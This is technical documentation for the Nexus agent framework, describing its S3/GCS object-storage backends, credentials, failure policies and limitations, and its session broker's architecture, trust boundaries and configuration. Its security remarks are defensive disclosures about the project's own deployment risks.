  4. Prove the coverage is real: break something in the new module on purpose and confirm make build and make test go red. If they stay green, the module is in the wrong place or the plumbing has regressed.

modules/objectstore-seamcheck is the worked example, and is also the permanent canary for step 4: it is not a backend and stores nothing, it exists to hold true the property that objectstore.Backend and objectstoretest.RunSuite are usable from a module that is not github.com/frankbardon/nexus.

Object Storage

Nexus keeps everything it persists on local disk: session trees, per-plugin SQLite, eval run output. core.object_store optionally makes a remote object store the source of truth for that state between runs, so a session can be killed on one host and resumed on another with no shared filesystem — the case for containers, Cloud Run, Lambda and Kubernetes Jobs, where there is no disk between invocations.

This page is the adoption path. It covers what the seam is, how to wire a backend into your own binary, credentials for each shipped backend, what happens when the store is unreachable, and — at the end, in full — the things it deliberately does not do.

Configuration Reference → core.object_store is canonical for the keys, their defaults and their validation behaviour. This page adds narrative; where the two disagree, the reference page wins.


Read this first: one writing host per session

The seam assumes a session has exactly one writing host at a time. Nothing enforces that.

There is no lock, no lease, no fencing token and no expiry the engine waits on. If two processes hydrate the same session ID and both keep running, both snapshot the whole tree at their own turn boundaries, and the loser’s conversation history, journal and per-plugin store.db are overwritten at whole-file granularity with no error anywhere. The consequence is silent state loss, not a failed request.

An owner marker at sessions/<id>.owner/owner.json makes the situation diagnosable. On Boot the engine writes its own host, PID, instance ID and a heartbeat, and reads whatever was already there. A marker that still looks live produces an error-level log line and a session.owner.conflict event.

That is detection, not prevention. By the time the event is emitted the engine has already claimed the session and is running normally. Nothing is refused, nothing waits, and no subsequent write is blocked. A subscriber that wants to act — page an operator, stop the run — has to do so itself.

If your deployment can produce two live processes for one session ID — a scheduler that presumed an instance dead while it was still running is the routine case on ephemeral compute, not an exotic one — single-writer is yours to arrange, upstream of Nexus. Subscribe to session.owner.conflict and treat it as a page.

The same assumption applies to the app- and agent-scope plugin stores, with less help: those are shared across sessions by definition and have no owner marker at all. Two processes on one host share the local file and SQLite serialises them, so the later upload is a superset of the earlier and no data is lost. Two processes on different hosts each hold their own copy, and the later flush overwrites the other’s whole database. See Per-Plugin Storage → Concurrency.


What the seam is

pkg/engine/objectstore.Backend is a lifecycle interface, not an abstraction over os.*:

Hydrate(ctx context.Context, keyPrefix, destDir string) error
Put(ctx context.Context, key, localPath string) error
Delete(ctx context.Context, key string) error
List(ctx context.Context, keyPrefix string) ([]Object, error)
Flush(ctx context.Context) error

Core and every plugin keep reading and writing ordinary local files. The engine calls the backend at defined lifecycle points and nowhere else, which is why “behaves exactly like local disk” is a guarantee rather than an aspiration, and why SQLite keeps running against a real file with a real WAL.

Nothing about this is exposed to plugins. There is no PluginContext method, no interface for a plugin to implement, and no plugin in the tree knows an object store exists.

WhenWhat happens
Top of BootThe backend named in config is opened once. A failure fails the boot.
Top of Boot, before any plugin can open storageApp- and agent-scope plugin stores are hydrated.
Before a resumed workspace is openedThe whole session tree is hydrated under sessions/<id>, then pruned to exactly the object set the committed manifest names.
Once the workspace existsThe owner marker is claimed and a conflict is detected (see above).
Every turn boundary (agent.turn.end)The whole tree is snapshotted and made durable, a per-object manifest and then a commit marker are published, then the shared plugin stores are snapshotted.
End of StopA final snapshot, the owner marker is removed, Flush, then the backend is released.
AbandonWorkers stop, the handle is dropped. No snapshot, no Flush, marker left in place.

Hydration is eager and whole-tree and completes before the first turn runs. There is no lazy or faulting read path — see limitation 5.

The snapshot is synchronous: it blocks the goroutine that ended the turn until the bytes are durable, because a turn reported complete while its state is still in flight is exactly the guarantee the snapshot exists to provide.

Four roots, one backend

The session tree is one of four roots. The same backend — no per-root methods, no per-root config — carries all four:

RootLocal pathObject key
Session tree<core.sessions.root>/<id>/sessions/<id>/…
App-scope plugin storage<core.storage.root>/plugins/<pluginID>/store.dbplugins/<pluginID>/store.db
Agent-scope plugin storage<core.storage.root>/agents/<agent_id>/plugins/<pluginID>/store.dbagents/<agent_id>/plugins/<pluginID>/store.db
Eval run output<eval.reports_dir>/<run-id>/eval/<run-id>/…

Keys mirror the on-disk layout, one key segment per directory, under core.object_store.prefix. Nothing is encoded, hashed or flattened, so the bucket is browsable and <prefix>/sessions/<id>/plugins/nexus.scene/scene.jsonl is exactly the path it came from. Both shipped backends produce byte-identical layouts, so a deployment migrating between clouds can use the vendors’ own copy tools with no translation step.

What never crosses the seam

  • session.lock — it records the PID of the process holding the session on one machine. A lock that travelled would make every rehydrated session look permanently locked.
  • SQLite sidecars (store.db-wal, store.db-shm, store.db-journal) — they describe a machine, not a session. Each store.db is WAL-checkpointed (wal_checkpoint(TRUNCATE) then VACUUM INTO) and uploaded as a standalone file, so the restored database needs no sidecars beside it.

Wiring a backend into your binary

Two backends ship in-repo, each as its own Go module so the root module’s dependency list never grows:

ModuleBackend nameCovers
github.com/frankbardon/nexus/modules/objectstore-s3s3Amazon S3, and every S3-compatible store: MinIO, Cloudflare R2, Ceph RGW, Backblaze B2
github.com/frankbardon/nexus/modules/objectstore-gcsgcsGoogle Cloud Storage, and the Cloud Storage emulators

Neither is in bin/nexus. Adopting object storage means building your own host binary — see limitation 6.

1. Add the module to your program

$ go get github.com/frankbardon/nexus@v0.19.0
$ go get github.com/frankbardon/nexus/modules/objectstore-s3@v0.1.0

The backend module is versioned independently of the core module and its tags are cut on demand, not on every core release (see Repository Go Modules → Versioning and tagging). So a modules/objectstore-s3/vX.Y.Z may not exist for every core version — when the one you want has no tag, Go resolves a branch or a commit SHA to a pseudo-version (@main), and you pin a real tag once one is cut.

The backend module requires a core version that has the seam. Each backend’s go.mod names one, and objectstore-s3/v0.1.0 requires core v0.19.0, the release the seam first shipped in. Asking for an older core than the backend declares does not silently degrade — it fails to build, because pkg/engine/objectstore is not there to import.

Go 1.26 or newer. The core module’s floor moved there when three dependencies did; there is no supported build on 1.25.

2. Blank-import it

The module registers itself under its backend name from init, in the database/sql driver style. Importing it for its side effect is the entire wiring step — no factory to construct, no option to pass, nothing to hand to the engine:

import _ "github.com/frankbardon/nexus/modules/objectstore-s3"

3. Name it in config

core:
  object_store:
    backend: s3
    bucket: nexus-sessions
    prefix: prod/nexus
    region: eu-west-2
    failure_policy: degrade

That is all of it. If you skip step 2 and keep step 3, the boot fails with the diagnosis rather than a runtime surprise:

core.object_store.backend "s3" is not a registered object-store backend
(registered: none — no backend module is imported into this build);
add the backend module to your build and import it for its side effect

The whole program

A minimal host that is nexus plus a bucket:

package main

import (
	"context"
	"fmt"
	"os"

	"github.com/frankbardon/nexus/pkg/engine"
	"github.com/frankbardon/nexus/pkg/engine/allplugins"

	// Registers the "s3" object-store backend under that name. Nothing else in
	// the program references this package — naming it in config is the wiring.
	_ "github.com/frankbardon/nexus/modules/objectstore-s3"
)

func main() {
	eng, err := engine.New("config.yaml")
	if err != nil {
		fmt.Fprintf(os.Stderr, "engine: %v\n", err)
		os.Exit(1)
	}

	// Resuming is what makes the bucket load-bearing: with an ID set, Boot
	// hydrates that session's whole tree before the first turn runs.
	eng.RecallSessionID = os.Getenv("NEXUS_RECALL")

	allplugins.RegisterAll(eng.Registry)

	if err := eng.Run(context.Background()); err != nil {
		fmt.Fprintf(os.Stderr, "run: %v\n", err)
		os.Exit(1)
	}
}

Swap objectstore-s3 for objectstore-gcs and backend: s3 for backend: gcs to run against Google Cloud Storage. Nothing else in the program changes.

engine.NewFromBytes is the alternative constructor for a host that //go:embeds its config.yaml and wants no filesystem dependency at boot. Embedders that own their own lifecycle (a desktop shell, a test harness) call Boot and Stop directly rather than Run, which owns signal handling.

Verifying the wiring

With no backend named — the default — no object-store code runs at all: no handle is opened, no snapshot handler is subscribed, and a backend sitting registered in the process is never touched. So “it booted” is not evidence the store is engaged. Look for the snapshot log line, which is emitted on every turn boundary rather than sampled:

INFO object store: session snapshot session_id=… trigger=turn generation=3
     objects=41 bytes=1839204 objects_uploaded=4 bytes_uploaded=91232
     objects_skipped=37 db_bytes=1622016 duration=131ms

(Abridged — the real line also carries reason, sequence, manifest_bytes, bytes_skipped, db_duration and the shared_* counters for the app- and agent-scope stores.)

bytes_uploaded, not bytes, is the per-turn cost. The same numbers go out on the bus as session.snapshot.result.


Credentials

Neither backend creates the bucket, and neither checks it at boot. A boot-time round trip to the store would make failure_policy: degrade structurally unable to do its job, so what is validated at boot is the configuration — a malformed endpoint, a credentials_file that is not there, an unresolvable region — and nothing remote.

s3 — ambient credentials (production)

Leave credentials_file empty. The backend uses the AWS SDK’s default credential chain, neither reordered nor narrowed: environment variables, the shared config and credentials files, IRSA / EKS Pod Identity, ECS task roles, and the EC2 instance role via IMDSv2 — with expiry-aware refresh.

core:
  object_store:
    backend: s3
    bucket: nexus-sessions
    prefix: prod/nexus
    region: eu-west-2

The principal needs read, write, delete and list on the bucket. region is required against real AWS: it is signed into every request.

s3 — a static credentials file

An ordinary AWS INI file, so the same file works with the AWS CLI and can be mounted as a Kubernetes secret unchanged. AWS_PROFILE selects the profile.

# ~/.config/nexus/aws-credentials
[default]
aws_access_key_id = AKIA…
aws_secret_access_key = …
core:
  object_store:
    backend: s3
    bucket: nexus-sessions
    credentials_file: ~/.config/nexus/aws-credentials

A credentials_file that does not exist fails the boot. That check is deliberate: the SDK on its own ignores a missing shared credentials file and falls through to ambient credentials, so an operator who typo’d the path would silently authenticate as the wrong principal.

s3 — S3-compatible endpoints

Setting endpoint to an absolute http:// or https:// URL both points the client somewhere else and switches it to path-style addressing (https://host/bucket/key). That is what makes self-hosted stores work unmodified: virtual-host addressing needs wildcard DNS and a wildcard certificate they do not have. There is no separate path-style key and none is needed — real AWS, which prefers virtual-host addressing, is the case where no endpoint is set.

With endpoint set, region defaults to us-east-1, which every S3-compatible store accepts and none of them interprets.

# MinIO on a laptop. Works unchanged against Ceph RGW or Backblaze B2.
core:
  object_store:
    backend: s3
    bucket: nexus
    endpoint: http://127.0.0.1:9000
    credentials_file: ~/.config/nexus/minio-credentials
# Cloudflare R2.
core:
  object_store:
    backend: s3
    bucket: nexus-sessions
    endpoint: https://<account-id>.r2.cloudflarestorage.com
    credentials_file: ~/.config/nexus/r2-credentials

One trap is closed for you: the backend sets the SDK’s RequestChecksumCalculation to WhenRequired whenever a custom endpoint is in play. Without it PutObject switches to aws-chunked transfer encoding, which several S3-compatible stores reject with a signature error that mentions nothing about checksums.

gcs — Application Default Credentials (production)

Leave credentials_file empty. The backend uses ADC, neither reordered nor narrowed: GOOGLE_APPLICATION_CREDENTIALS, the gcloud well-known file, GKE Workload Identity and the GCE service account via the metadata server, service-account impersonation, and Workload Identity Federation — with expiry-aware refresh and no key material on disk.

core:
  object_store:
    backend: gcs
    bucket: nexus-sessions
    prefix: prod/nexus

The principal needs storage.objects.get, create, delete and list on the bucket; roles/storage.objectAdmin covers exactly those. No project ID is needed anywhere — a project is required to create or list buckets, and this backend does neither.

region is accepted and ignored, with a warning logged once at boot: a GCS bucket’s location is fixed when the bucket is created and no client ever names one. It is not an error because the same core.object_store block is shared with s3, and a config that travels between the two clouds should not fail to boot over a key that cannot change behaviour here.

gcs — a static service-account key

The JSON file gcloud iam service-accounts keys create produces, so the same file works with gcloud and can be mounted as a Kubernetes secret unchanged.

core:
  object_store:
    backend: gcs
    bucket: nexus-sessions
    credentials_file: ~/.config/nexus/gcs-service-account.json

Only that credential type is accepted. An external-account (Workload Identity Federation) or impersonation configuration names a URL the auth library will fetch a token from, and accepting one from a path that may have come from a shared config repository would hand an attacker a credential-exfiltration primitive. Those belong on the ambient path above, via GOOGLE_APPLICATION_CREDENTIALS, where an operator opts into them at the environment level.

Credential resolution is: credentials_file if set; otherwise ADC if it resolves; otherwise, if endpoint is set, an unauthenticated client, logged at warn — the emulator path. Anything else fails the boot. That last step is deliberately stricter than the Google SDK, which builds a client happily when it cannot find credentials and fails at the first request instead; under failure_policy: degrade that would be a run that starts, looks healthy and persists nothing.

gcs — emulator endpoints

Unlike s3, endpoint here is an emulator switch, not a way to reach an alternative provider. GCS has one production service, reached by leaving endpoint empty; a VPC using Private Google Access or Private Service Connect gets there by DNS and routing policy, not by a client-side override.

core:
  object_store:
    backend: gcs
    bucket: nexus
    endpoint: http://127.0.0.1:4443

The JSON API path (/storage/v1/) is appended for you when the URL has none, so the key is spelled the same way for both backends. A URL that already carries a path is left alone, for an emulator behind a reverse proxy on a sub-path.


When the store is unreachable

core.object_store.failure_policy is the one durability trade-off you own rather than the implementation. Both values retry with exponential backoff (1 s, doubling, capped at 60 s), both surface the outage on the bus as a session.storage.degraded / session.storage.recovered pair, and both recover with no operator action. What differs is whether the session keeps taking turns while the store is down.

degrade (default)strict
Turn that hit the outagecompletescompletes — it is not un-run
Further turnsacceptedrefused until the state is stored
core.errornot raisedraised on every failed snapshot
Recoveryautomaticautomatic
Boot-time hydration failurefails the bootfails the boot

Pick degrade when an object-store outage should not take down an interactive agent that still has a perfectly good local tree — and read limitation 3 for what you are trading. Pick strict when running against unstored state is worse than refusing input — and read limitation 2 for what it does not buy you.

Under strict, the veto runs at before:io.input priority 200, behind every other subscriber, so slash commands and cancellation still work while the gate is closed.

One thing is deliberately not policy-governed: a blob write-through failure never closes the strict gate. Write-through is an optimisation in front of the turn-boundary snapshot, which re-uploads anything the store is missing; failing a turn because that optimisation stumbled on an object the very next snapshot repairs would make strict fire on transients it is not there to catch.

Full detail, including the retry queue bounds and why they are compiled-in constants rather than config keys: Configuration Reference → Failure policy.


Trying it without a cloud account

Both backends have an emulator suite in-repo that starts and stops the emulator itself, needs no cloud account and no repo secret, and runs the same conformance suite plus a real kill-and-resume cycle:

$ make test-objectstore-minio      # modules/objectstore-s3 against MinIO (needs Docker)
$ make test-objectstore-fake-gcs   # modules/objectstore-gcs against fake-gcs-server (no container runtime)

Both run in CI as their own jobs, and both fail rather than skip when an emulator was provisioned, so a green job means the tests actually ran. Neither covers IAM — see limitation 7.


Limitations

Every item here is an accepted trade-off rather than a known bug, and every one of them will look like a bug to an operator who meets it without warning.

1. Single-writer is assumed and not enforced

Covered at length at the top of this page, and repeated here because it is the one that loses data. Detection is best-effort logging plus a session.owner.conflict event; nothing is refused. The consequence of two writers is silent state loss — the loser’s store.db, history and journal are overwritten whole, with no error raised anywhere.

A marker is treated as stale, and stays silent, when it belongs to this run, when its host matches and its PID is gone, or when its heartbeat stopped advancing more than five minutes ago. That is what keeps an ordinary crash-resume from alarming — and it is also why a genuinely concurrent second host on a different machine has to miss ten heartbeats before it is called stale. Both thresholds are compiled-in constants.

2. strict gates the next turn, not the failed one

When a turn’s state cannot be persisted, the turn has already happened: its output was streamed to the user, its tools ran, and its side effects are in the world. Nothing in Nexus can un-run it and no configuration makes it not have happened.

What strict guarantees is that no turn ever runs against state whose predecessor was not durably stored, and the divergence is never silent. It does not guarantee that the turn which hit the outage was prevented. A genuine pre-commit gate would need a vetoable turn-boundary event that does not exist, and would not help even if it did — by the time an agent loop can report a turn, the work is done.

3. degrade means the guarantee is not being met

Turns keep succeeding against the local working copy, and that is the point. The honest caveat: during an outage the durability guarantee is not being met even though nothing is failing. Work the user watched happen exists only on local disk, so a host that dies while degraded loses it. On ephemeral compute, where there is no disk between invocations, “loses it” is unqualified.

session.storage.degraded is the signal that this window is open, and session.storage.recovered is the signal that it closed. Exactly one of each per outage.

4. An interrupted snapshot’s in-place overwrite is not undone

Hydration restores the committed object set, not per-object versions. The manifest names paths, not versions — so a snapshot that died partway after already re-uploading conversation.jsonl, the active journal segment or a store.db has replaced the committed bytes at that key, and hydration will restore those newer bytes because the key is in the committed set.

What you do get is that objects the committed manifest does not name are not materialised into the tree, so a partial generation cannot add files. What you do not get is “the previous good remote state remains restorable”. Closing this needs per-generation object keys, which was costed and rejected.

Orphaned objects a manifest no longer names are left in the bucket, never deleted. Reclamation is the operator’s.

5. Cold start grows with session size

Hydration is eager and whole-tree, and completes before the first turn runs. There is deliberately no lazy or faulting read path: threading one through the engine and ~60 plugins would be impossible to get right, and SQLite could not use it at all — so “behaves exactly like local disk” would degrade from a guarantee to an aspiration.

The consequence is that time-to-first-turn on a resume scales with the size of the stored session. A long-running session that has accumulated a large files/ tree or a large per-plugin database will pay for it on every resume onto a fresh host. Measure it for your own workload before assuming a resume is cheap.

No wall-clock budget is asserted, deliberately. A millisecond threshold on a shared CI runner is either flaky or so loose it catches nothing, and it fails for reasons unrelated to this code. What is asserted is the cost shape, in pkg/engine/session_objectstore_coldstart_test.go: resuming costs exactly two backend round trips — the tree, then the committed-object manifest — regardless of session size, zero List calls, and zero writes back to the store; a warm tree costs no traffic at all; and hydration pulls only this session’s key prefix, proven with a larger neighbouring session in the same bucket. Those numbers are exactly reproducible, and they are what turns into latency and egress against a real store.

So a refactor toward per-object fetching — one request per file instead of one for the tree — fails the suite rather than quietly turning one round trip into thousands. What still will not fail the suite is the same two round trips carrying steadily more bytes, which is the growth this section is about.

The snapshot side is measured: 0.05 MiB of tree costs ~12.5 ms of local engine work, 6 MiB ~30 ms, 91 MiB ~170 ms, plus network on top. Immutable-by-identity files (content-addressed blobs, sealed journal segments) are skipped rather than re-uploaded, which took a blob-heavy 91 MiB tree from 2007 objects and 90.5 MiB per turn to 7 objects and 27.9 MiB. Ordinary artifact output under files/ is not immutable and does re-upload.

6. The shipped binaries cannot use object storage

bin/nexus and bin/nexus-broker blank-import no backend, and they never will: that is the whole reason backends are separate modules. Setting core.object_store in a config handed to the stock nexus binary fails the boot with the “no backend module is imported into this build” message — which is the correct outcome, but it means object storage is a library-only feature. Adopting it means building your own binary, as above.

This has a direct consequence for the session broker: the broker cold-spawns a nexus subprocess, and the binary it spawns is whatever binaries: names. A broker deployment that wants object-store-backed session pods must point that config at a custom binary with a backend compiled in. The stock one cannot do it.

7. Workload identity is exercised by nothing in this repo

IRSA, EKS Pod Identity, IMDSv2 and ECS task roles on AWS; ADC resolution, GKE Workload Identity and Workload Identity Federation on GCP — none of these are covered by any test in this repository, and no emulator reproduces them. MinIO and fake-gcs-server exercise the data plane, not the credential chain.

That chain is precisely the reason both backends take a cloud SDK rather than hand-rolled net/http, so the code being trusted here is the vendor’s. It is still untested in this configuration. A manual live check against a real cluster is warranted before relying on the workload-identity path in production, and it is the one part of adoption this repo cannot do for you.

Operating Object Storage → Verifying workload identity for real is the five-step runbook for that check, including the failure that looks like success: a pod picking up the node instance role instead of the assumed one returns 200 and works, until node permissions are tightened.

8. MinIO cannot hold an object at another key’s prefix

The engine’s key scheme can produce an object at key sessions/sess-1 beside objects under sessions/sess-1/…. S3 and GCS hold that state fine — their key spaces are flat and / has no meaning beyond being a byte. MinIO cannot represent it: the PUT returns 200, the child objects stop appearing in any listing, and the bucket cannot even be emptied by listing it. Measured on both single-drive and 4-drive erasure modes.

This is emulator divergence, not a backend bug, and it is accommodated in the conformance suite by objectstoretest.WithoutObjectAtPrefix(). A test fails and tells you to remove the option if MinIO ever gains a flat key space. If you run MinIO in production rather than as an emulator, this is a real constraint on your deployment, not a test detail.

9. A misspelled block used to boot with object storage silently disabled

Fixed. Recorded here because the failure mode is worth knowing, and because anyone running a build from before the fix still has it.

Plugin config has always been schema-validated with additionalProperties: false, so a plugin-level typo failed the boot. The engine’s own core: block was not: LoadConfigFromBytes is non-strict, and the validator rebuilds the map from the already-decoded typed config, so a key YAML decoding dropped never reached the schema. core: { object_stor: { … } } therefore booted clean, with enabled=false backend="" and no error — every turn succeeding, nothing ever uploaded, and the first symptom an empty bucket after the host was replaced.

checkUnknownConfigKeys now walks the raw YAML against the config structs’ yaml tags and rejects an unknown key at any depth, naming the path and listing what was valid there:

config: unknown key "core.object_stor" (valid keys here: agent_id, log_level,
logging, max_concurrent_events, models, object_store, sessions, storage,
tick_interval)

Blocks whose keys are data rather than field names are exempt and unaffected: plugins: (plugin IDs, guarded by their own schemas), core.models (role names) and capabilities: (capability names).

It is still worth verifying the wiring by looking for the snapshot log line rather than by observing a clean boot — see Verifying the wiring. A config can name a backend correctly and still be pointed at the wrong bucket.


Writing your own backend

The seam is public. pkg/engine/objectstore imports nothing outside the standard library and names no bucket API, credential type or HTTP client, so a backend can live in a module this repository never sees — no PR required.

Two rules are easy to read past, and both corrupt sessions rather than producing an error:

  • Keys are validated, not merely documented. Every method must reject a malformed key or prefix with an error wrapping objectstore.ErrInvalidKey, before touching the store or the filesystem. objectstore.ValidateKey and objectstore.ValidateKeyPrefix implement the rule; the .. ban is what stops a hostile key from writing outside a hydration destination.
  • Prefixes match whole segments. Raw string matching — the native behaviour of ListObjectsV2 and its GCS equivalent — makes the prefix sessions/sess-1 select sessions/sess-10’s objects, which mixes two sessions into one tree. objectstore.TrimKeyPrefix is the rule in code.

Hold your backend to the shared conformance suite:

func TestContract(t *testing.T) {
    objectstoretest.RunSuite(t, func(t *testing.T) objectstore.Backend {
        return newMyBackend(t) // empty, cleaned up via t.Cleanup
    })
}

Passing the interface suite does not prove a session resumes from it. pkg/engine/objectstore/enginetest.RunResumeSuite is the second half: it drives a real engine through a kill-and-resume cycle against your store, and asks you for four hooks — register a factory, make an empty bucket, list the bucket, read one object. Both shipped backends run it.

Full detail: Sessions → Writing a backend, and Repository Go Modules for the module layout, the no-go.work decision and the tagging policy.


See also

Session Broker

The session broker (cmd/nexus-broker) is a standalone service that fronts many OS-isolated nexus instances behind a single HTTP/WebSocket ingress. Callers claim an instance, talk to it over a WebSocket, and release it when done. Each instance is a separate nexus process, so tenant isolation is process isolation — which is weaker than it sounds. Read Trust boundaries before putting two callers that do not trust each other in front of one broker.

It is a protocol-aware gateway, not a blind TCP proxy: it decodes every frame and routes by lease and signal, which is how it tracks readiness, idleness, and crashes.

The broker is not an engine plugin. It lives under cmd/nexus-broker and is built separately from cmd/nexus. The only plugin involved is nexus.io.broker, which runs inside each spawned instance and dials back to the broker.

How it works

                          ┌───────────────────────────────────────┐
                          │            nexus-broker               │
   client ──HTTP POST────▶│  /claim /release/{id} /ticket/{id}    │
                          │  /leases  /agents/{name}/…  (A2A)     │
          ◀──lease+ws_url─│                                       │
          ──WebSocket────▶│  /lease/{id}  ◀──frames──▶  /instance │
                          └───────────────────────────────────────┘
                                       │ exec() with env             ▲
                                       ▼                             │ dials back
                          ┌───────────────────────────────────────┐ │
                          │  nexus instance (own process)         │─┘
                          │   nexus.io.broker plugin              │
                          └───────────────────────────────────────┘
  1. A caller POST /claims with a full nexus config, optionally naming which binaries: entry to run.
  2. The broker resolves that name against its registry, acquires a capacity slot, mints a lease, writes the config to a temp file, and cold-spawns that entry’s nexus binary, injecting the broker address and lease id as environment variables.
  3. The instance’s nexus.io.broker plugin dials back to the broker’s /instance endpoint, registers its lease, and signals ready. The broker is the only listening socket.
  4. POST /claim returns the lease id and a ws_url. The caller opens that WebSocket and IO frames flow client ↔ broker ↔ instance.
  5. The instance is released on demand (POST /release), on idle (idle_timeout), or on crash. The session persists on disk and is resumable.

Trust boundaries

The broker gives every claimant its own process. That is not the same as giving it its own security domain, and the difference decides whether one broker may front two callers that do not trust each other. By default it may not.

Scrubbing the environment did not make the broker a security boundary

Reducing the spawn environment to what the operator declared closed one specific hole: a claimant could previously name any variable the broker process held and have a provider post its value to a base_url of the claimant’s choosing. That hole is closed. The broker is still not a boundary between mutually untrusting callers, because the part that matters is not the environment.

Without run_as, a claimed instance runs as the broker’s own uid with the broker’s HOME. Whoever claimed it drives that instance’s shell and file tools, and so can:

  • read ~/.nexus/sessions/every other tenant’s transcripts, session files and per-plugin state, including sessions created by other claimants and by the A2A ingress;
  • read <state_dir>/spawn-key. That file is the derivation key for every per-spawn dial-back secret, so holding it is enough to forge any live lease’s instance identity: dial /instance, register as somebody else’s instance, and be handed their client’s stream. The directory is mode 0700, which keeps out other users; it does not keep out a process already running as its owner.

Neither of those depends on a bug. Both follow from the instance and the broker sharing a uid, which is the default. An auth: block does not change it either: authentication decides who may claim, not what a claimed instance can reach once it is running.

So: one broker per trust domain, or set run_as. If every caller of a broker is already entitled to everything that broker’s other callers can see — one team’s CI, one product’s backend — the default is fine, and always was. If they are not, the separation has to come from the OS.

What run_as buys, exactly

run_as separates instances by OS user, and that is the whole of it. It does not sandbox the filesystem, restrict the network, or cap CPU or memory; it does not separate two instances of the same entry from each other, since they share a credential and a session tree; and it does not protect an instance from the caller who claimed it, who chose its config and drives its tools. It also requires a privileged broker — root, or CAP_SETUID and CAP_SETGID on Linux, needed even when run_as names the broker’s own uid, because dropping the broker’s supplementary groups calls setgroups, which is itself privileged.

The full configuration, the HOME rule and the boot-time failure modes are under Running instances as another user.

The bounds the broker does not enforce

BoundaryWhere it actually lives
Per-lease memory, CPU and diskThe deployment — a systemd slice, a cgroup, or a container per instance. max_concurrent is a headcount, not a resource budget; see What max_concurrent does not bound.
What an instance may read and write on the hostThe OS user it runs as (run_as) plus whatever that user is granted. The broker adds nothing.
Transport confidentialityA TLS-terminating proxy in front of listen_addr; see Behind a proxy. The broker itself speaks plain HTTP and only warns when advertise_addr promises wss:///https:// that it does not serve.
How often a caller may claimNothing. The per-principal keys under Per-principal caps bound how much a caller may hold, not the rate at which it may churn.

Running the broker

The broker reads its own YAML config file (default broker.yaml, override with -config <path>):

# broker.yaml
listen_addr: ":8080"          # HTTP/WS gateway bind address
advertise_addr: ""            # address CLIENTS use to reach this broker; required behind a proxy/LB
binaries:                     # named nexus variants this broker may spawn (see below)
  nexus:                      # reserved name; always present, declare it to override the path
    path: "nexus"
# nexus_binary_path: "nexus"  # DEPRECATED alias for binaries.nexus.path; still honoured
max_concurrent: 8             # max live instances; <=0 = unlimited
idle_timeout: 5m              # release a QUIET lease after this much inactivity; <=0 disables
max_turn_duration: 30m        # bound on an in-flight turn, which is otherwise exempt from idle_timeout
queue_wait_timeout: 30s       # how long an over-cap claim waits in the FIFO queue; <=0 = no waiting
max_queue_depth: 64           # how many claims may be PARKED in that queue at once; <=0 = unlimited
max_leases_per_principal: 0   # live leases one authenticated principal may hold; 0 = off
max_queued_per_principal: 0   # queued claims one authenticated principal may hold; 0 = off
release_grace: 10s            # graceful-shutdown grace before SIGTERM, then SIGKILL
ready_timeout: 30s            # ceiling on instance BOOT; raise it for a slow-starting config
session_report_grace: 5s      # post-ready wait for the instance's session id; claim still succeeds if it elapses
max_claim_body: 1048576       # ceiling on the claim request body (1 MiB); it carries the whole config
state_dir: ""                 # per-broker dir for the lease journal; empty = in-memory only
broker_id: ""                 # stamped on every lease record; generated + persisted when empty
reattach_window: 60s          # how long a lease restored after a restart waits for its instance
# auth:                       # optional; omit the block to run unauthenticated (see Authentication)
# build both binaries
go build -o bin/nexus ./cmd/nexus
go build -o bin/nexus-broker ./cmd/nexus-broker

# run the broker
bin/nexus-broker -config broker.yaml

Every config key, its type, and its default are listed in the authoritative Configuration Reference.

Serving several nexus variants: the binary registry

binaries: is a registry of named nexus variants this broker may spawn, keyed by the name a claim selects it by. A base build, a vision-enabled build, a pinned older release and a wrapper script that pre-sets an environment can all live behind one ingress.

Every entry is a variant of nexus, not an arbitrary program, because the broker spawns them all identically and expects the same behaviour back:

  • it exec()s the entry’s path with -config <temp file>, plus -recall <session_id> when the claim is a resume;
  • it injects NEXUS_BROKER_ADDR, NEXUS_BROKER_LEASE_ID and NEXUS_BROKER_SPAWN_SECRET into the child’s environment;
  • it waits for the process’s nexus.io.broker plugin to dial back to /instance, register that lease, and signal ready.

A binary that does not honour that contract never signals ready, so the claim fails with 504 instance did not become ready in time rather than misbehaving quietly. The registry chooses which build runs; it does not change the protocol any of them speak.

This is also how an instance gets object-store-backed sessions. Object-store backends are separate Go modules and the shipped nexus binary imports none of them, so a core.object_store block in an instance profile fails that instance’s boot. Spawning instances that persist to a bucket means registering a custom build here — nexus plus a blank import of the backend module — and pointing a binaries: entry at it. The broker itself is unaffected either way: its own lease and task state are its own, not the instance’s session tree. See Object Storage.

# broker.yaml
binaries:
  nexus:                                 # reserved name; declare it only to pin the path
    path: "/usr/local/bin/nexus"

  vision:
    path: "~/builds/nexus-vision"        # `~` is expanded
    label: "Nexus (vision)"              # presentational only
    description: "Multimodal build with the image tools compiled in"
    args: ["-profile", "vision"]         # appended AFTER the broker's -config / -recall
    env:
      NEXUS_VISION: "1"                  # layered UNDER the broker's NEXUS_BROKER_* vars

  pinned:
    path: "nexus-0.9"                    # no path separator → looked up on the broker's PATH
    description: "Pinned 0.9 build for regression triage"

Clients do not have to be told these names out of band. The broker publishes its registry on GET /binaries, so a client builds its picker from live broker truth instead of hardcoding entries that may not exist on the broker it is talking to. Only name, label and description are published — path, args and env never leave the broker host.

label and description are documentation for operator and client surfaces — nothing routes on them, and consumers fall back to the entry name when label is empty. path is the only required field. The per-field table is in the Binary registry reference.

args are that variant’s own flags, so only set them for a build that defines them: stock nexus accepts -config, -recall and -replay and nothing else, and an unknown flag makes the process exit before it can dial back — which the claim sees as 502 instance exited before signalling ready.

nexus is reserved and always resolves. After a successful load the registry always contains a nexus entry, whatever the config says — declare it to pin its path, omit it and it is synthesized as path: "nexus" (a PATH lookup). Omit the whole binaries: block and that synthesized entry is the entire registry, which is exactly the pre-registry behaviour. There is deliberately no default: field: a claim that names no binary always means nexus, so an operator cannot silently change what an existing client spawns.

Every entry is verified at boot, before the gateway listens: the path is expanded (~), looked up on the broker process’s PATH when it contains no path separator, made absolute, then stat’d and checked for an execute bit. An entry that is missing, is a directory, or carries no execute bit refuses the boot, naming the entry, the path that was resolved, and the reason. The broker logs the resolved absolute path of every entry at startup, so a stale build shadowing the one you meant is visible in the boot log rather than inferred later.

This includes the reserved nexus entry. A zero-config broker whose PATH has no nexus now fails to start, where it previously started fine and failed at the first claim. The exec-bit check is a mode check, not a “can this user run it” check, so a binary executable only by another user still passes boot and fails at exec.

Adding a variant does not need a restart. Edit binaries: and send the broker a SIGHUP: the next claim can select the new entry, GET /binaries advertises it, and every live lease is untouched. See Changing config without a restart.

